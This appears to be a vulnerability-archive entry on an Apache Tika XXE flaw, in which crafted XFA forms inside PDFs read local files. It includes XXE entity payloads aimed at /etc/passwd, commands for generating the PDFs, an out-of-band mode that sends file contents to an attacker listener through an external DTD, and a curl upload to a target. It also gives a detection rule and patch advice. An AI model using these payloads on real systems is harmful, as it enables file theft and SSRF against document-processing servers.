Apache Tika PDF Parser XXE via Crafted XFA Form (CVE-2025-54988)
Published: 2026-07-31 • Researcher: mgthuramoemyint
- Severity
- Critical
- CVE
- CVE-2025-54988 (GHSA-p72g-pv48-7w9x, Apache JIRA TIKA-4459)
- Category
- web
- Affected product
- Apache Tika - tika-parser-pdf-module (and legacy tika-parsers)
- Affected versions
- tika-parser-pdf-module 1.13 through 3.2.1; legacy tika-parsers 1.13 through 2.0.0-ALPHA. Fixed in tika-parser-pdf-module 3.2.2 (legacy: tika-parsers 2.0.0-ALPHA)
- Disclosed
- 2026-07-31
- Patch status
- Patched
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-07-31 |
| Last Updated | 2026-07-31 |
| Author / Researcher | mgthuramoemyint |
| CVE / Advisory | CVE-2025-54988 (GHSA-p72g-pv48-7w9x, Apache JIRA TIKA-4459) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS 3.1, CISA-ADP rescore, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - vendor ASF scored 8.4 (AV:L) - see Notes |
| Status | Weaponized |
| Tags | apache-tika, xxe, xfa, pdf-parsing, cwe-611, ssrf, file-disclosure, tika-server |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Tika - tika-parser-pdf-module (and legacy tika-parsers) |
| Versions Affected | tika-parser-pdf-module 1.13 through 3.2.1; legacy tika-parsers 1.13 through 2.0.0-ALPHA. Fixed in tika-parser-pdf-module 3.2.2 (legacy: tika-parsers 2.0.0-ALPHA) |
| Language / Platform | Java |
| Authentication Required | No |
| Network Access Required | Local only for direct library use (e.g. batch document indexing pipelines) - Yes, if deployed as tika-server accepting remote HTTP uploads (the common real-world deployment) |
Summary
Apache Tika’s PDF parser processes an embedded XFA (XML Forms Architecture) form’s XML content with external entity resolution enabled. A crafted PDF whose AcroForm dictionary contains an /XFA key pointing to a stream object holding malicious XFA XML can trigger classic XXE: the parser resolves a <!DOCTYPE xfa [ <!ENTITY xxe SYSTEM "file:///...">]> declaration referenced inside <xfa:data>, causing local file contents to be read and reflected into extracted text, or - when direct in-band expansion is blocked - exfiltrated out-of-band via an external DTD plus parameter entity technique. Any system parsing untrusted PDFs with a vulnerable Tika version (most notably tika-server instances that accept HTTP file uploads) is exposed to local file disclosure and SSRF.
Vulnerability Details
Root Cause
Tracked as CWE-611 (Improper Restriction of XML External Entity Reference). When Tika’s PDF parser module encounters an AcroForm with an /XFA key, it extracts and parses the referenced XFA XML stream (Adobe’s XML Forms Architecture format, embedded per the PDF spec to describe dynamic form structure and data). That XML parsing path does not disable DTD processing / external entity resolution, so a <!DOCTYPE> declaration inside the XFA payload with a SYSTEM entity is honored. A direct <!ENTITY xxe SYSTEM "file:///etc/passwd"> referenced from <xfa:data> gets expanded in place and the file contents end up in Tika’s extracted-text output. Where the target application blocks in-band reflection, the same weakness supports the standard out-of-band bypass: an external DTD hosted by the attacker declares a parameter entity that reads a local file and echoes it as a query parameter on an attacker-controlled callback URL, achieving blind exfiltration without needing the extracted text to be visible to the attacker.
Attack Vector
An attacker submits (uploads, emails as an attachment for auto-indexing, uploads to a document-management/search pipeline, etc.) a PDF file to any system that runs it through a vulnerable Apache Tika version for text extraction or metadata parsing - most critically a network-facing tika-server HTTP endpoint accepting arbitrary PDF uploads from unauthenticated or low-trust users. No user interaction beyond the normal “process this document” workflow is required; the exploit fires the moment Tika parses the PDF’s AcroForm/XFA structure.
Impact
- Local file disclosure (arbitrary file read as the Tika process user, e.g.
/etc/passwd, application config/secrets, SSH keys) when the extracted text is returned or logged. - Server-Side Request Forgery: the OOB exfiltration path forces the vulnerable host to make outbound HTTP(S) requests to attacker-controlled infrastructure, which can additionally be used to probe internal network segments.
- Blind data exfiltration even when the application does not expose extracted text directly to the attacker, via the external-DTD/parameter-entity technique.
Environment / Lab Setup
OS: Any (Java-based library) - PDF is the delivery mechanism
Target: Apache Tika tika-parser-pdf-module / tika-parsers, versions 1.13 - 3.2.1
(a docker-composed vulnerable lab is available separately - see Notes)
Attacker: Python 3 (payload generator, no external dependencies)
Tools: xfa_xxe_poc_gen.py (this folder), a listener (e.g. `nc -lvp 8888` or a small
HTTP server) for the --mode oob out-of-band variantSetup Steps
| |
Proof of Concept
See
xfa_xxe_poc_gen.pyandxfa_passwd.pdf(full, unmodified) andupstream-README.mdin this folder - mirrored from mgthuramoemyint/POC-CVE-2025-54988. Verified before ingestion: read the full 150-line generator script, confirmed it hand-builds a structurally valid PDF byte-by-byte (Catalog -> Pages -> Page -> AcroForm with an/XFAkey pointing at a stream object holding the XFA XML/XXE payload), and re-ran it locally with--mode file --file /etc/passwd- the output was byte-for-byte identical to the pre-builtxfa_passwd.pdfshipped in the repo, confirming the generator is not a stub or placeholder. No obfuscation, no unrelated network calls, no hardcoded third-party callback endpoints (theoobmode requires the user to supply their own listener IP/port).
Step-by-Step Reproduction
Generate a local-file-read payload - builds a PDF with an embedded XFA form whose XML declares a direct
SYSTEMentity pointing at a target file:Shell script1python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdfGenerate an out-of-band exfiltration payload - for cases where in-band entity expansion is blocked; uses an external DTD plus a parameter entity to read a file and beacon its contents to an attacker-controlled listener:
Shell script1 2python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d --write-dtd -o xfa_oob.pdf # Host the generated evil.dtd alongside a listener on 10.10.14.3:8080Submit the crafted PDF to a Tika-based parsing pipeline - e.g. upload to a
tika-server/tikaor/rmetaendpoint:Shell script1curl -T xfa_passwd.pdf http://TARGET:9998/tika
Exploit Code
| |
Expected Output
[+] Mode: file
[+] Target file : /etc/passwd
[+] Wrote : xfa_passwd.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...Screenshots / Evidence
- Upstream repository README includes a screenshot demonstrating successful file-content disclosure in Tika’s extracted output - see the embedded image link in
upstream-README.md.
Detection & Indicators of Compromise
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible Tika XFA XXE PDF upload"; content:"/XFA"; content:"<!ENTITY"; distance:0; http_client_body; sid:9000002;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to tika-parser-pdf-module 3.2.2 or later (legacy naming: tika-parsers 2.0.0-ALPHA or later). |
| Workaround | Disable XFA form processing in the PDF parser configuration where feasible, or pre-screen uploaded PDFs and strip/reject AcroForm objects containing an /XFA key before they reach Tika. |
| Config Hardening | Ensure any XML parser used within the Tika PDF pipeline has DTD loading and external entity resolution disabled (FEATURE_SECURE_PROCESSING, disallow-doctype-decl, or equivalent) as defense in depth, and restrict outbound network egress from hosts running tika-server to reduce OOB/SSRF impact. |
References
Notes
Verified before ingestion per this archive’s standard: read the full contents of xfa_xxe_poc_gen.py and upstream-README.md directly rather than trusting the repo description, and re-ran the generator locally (--mode file --file /etc/passwd) to diff its output byte-for-byte against the pre-built xfa_passwd.pdf shipped in the repo - the two were identical, confirming the tool is a genuine working generator rather than a stub or placeholder. The author, mgthuramoemyint, has an established GitHub presence since 2016 with 19 public repos including a legitimate prior CVE PoC (CVE-2022-23131, Zabbix SAML bypass) and CTF/HackTheBox writeups, with no scam, malware, obfuscation, or curl-pipe-to-shell installer patterns observed.
CVSS discrepancy: the vendor (ASF) scored this 8.4 HIGH under CVSS 3.1 using AV:L (local), which reflects an assumption of Tika being consumed as a local/offline parsing library. CISA-ADP independently rescored it 9.8 CRITICAL using AV:N (network) - the same vector string otherwise - reflecting the common real-world deployment as a network-facing tika-server instance that accepts PDF uploads over HTTP from remote, potentially untrusted clients. Both scores describe the same underlying flaw; the split is purely about which deployment model is assumed, not disagreement on exploitability or impact once reachable. A third party (Wiz) separately cites a CVSS v4 score of 9.3. This entry uses the CISA-ADP 9.8 rescore as the headline severity since it better matches the common tika-server deployment pattern, while noting the vendor’s more conservative library-context score.
For anyone wanting to test this against an actual running, vulnerable tika-server instance rather than just generating payload PDFs, see the companion lab galoryber/cve-2025-54988-VulnTikaProject - a well-formed Spring Boot project (Dockerfile + docker-compose.yml + pom.xml pinning tika-core/tika-parsers-standard-package 3.2.1, the exact last-vulnerable version) exposing /api/extract-text, /api/extract-pdf, and /api/detect-type endpoints matching its own README. Its author, galoryber, is an established red-team tool developer (Sliver, Merlin, SharpHellsGate contributions) with no red flags observed. This is a target/lab environment rather than exploit code, so it is cited as a reference for reproduction rather than mirrored into this entry.
Per CSO Online’s coverage of this disclosure, the vulnerability was reportedly “thought to be patched months ago” prior to this advisory - suggesting a possible earlier, incomplete fix attempt. This detail comes from secondary-source reporting and has not been independently confirmed against the Apache JIRA history in this write-up; it is noted here as an unconfirmed caveat rather than a verified fact.
| |